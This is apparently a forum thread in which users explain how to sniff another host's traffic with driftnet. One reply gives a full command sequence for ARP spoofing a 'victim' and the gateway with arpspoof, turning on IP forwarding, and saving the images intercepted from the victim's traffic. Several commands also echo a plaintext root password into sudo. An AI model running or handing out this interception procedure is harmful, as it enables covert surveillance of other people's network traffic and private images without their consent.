Are you trying to sniff the traffic of your computer or other host? If you want to sniff packets from another host connected to your network you must first start an arp spoofing session with ettercap or arpspoof

it's strange, it works for me... I don't know, wait for the replies of the other users

Sill question are you using arpspoof ??

please post your full method as sudo driftnet -i wlan0 will just not cut the mustard  you have left out steps of this procedure


1 ) sudo { remove from commands below if your using root }
2 ) echo "password" | sudo -S { remove from commands below if your using root }

sudo mkdir /tmp/driftnet
sudo mkdir $HOME/driftnet
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t target gateway
sudo driftnet  -a -i wlan0 -d /tmp/driftnet

replace target with the victims ipand gateway with your gateway

to get your gateway type
ip route show default | awk '/default/ {print $3 }'


echo "password" | sudo -S find /tmp/driftnet -type f -name "*.*" -exec mv {} $HOME/driftnet \;
replace password with the password you have setup for root

then close driftnet , disbale ipfoward and stop arpspoof
sudo pkill driftnet
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo pkill arpspoof

and the pictures will be in a driftnet folder in your user folder

if you want to remove some junk files like gifs and pngs depending on the items you want to keep then do
echo "password" | sudo -S find $HOME/driftnet -type f -name "*.gif*" -exec rm {}  \;
echo "password" | sudo -S find $HOME/driftnet -type f -name "*.png*" -exec rm {}  \;

replace password with the password you have setup for root
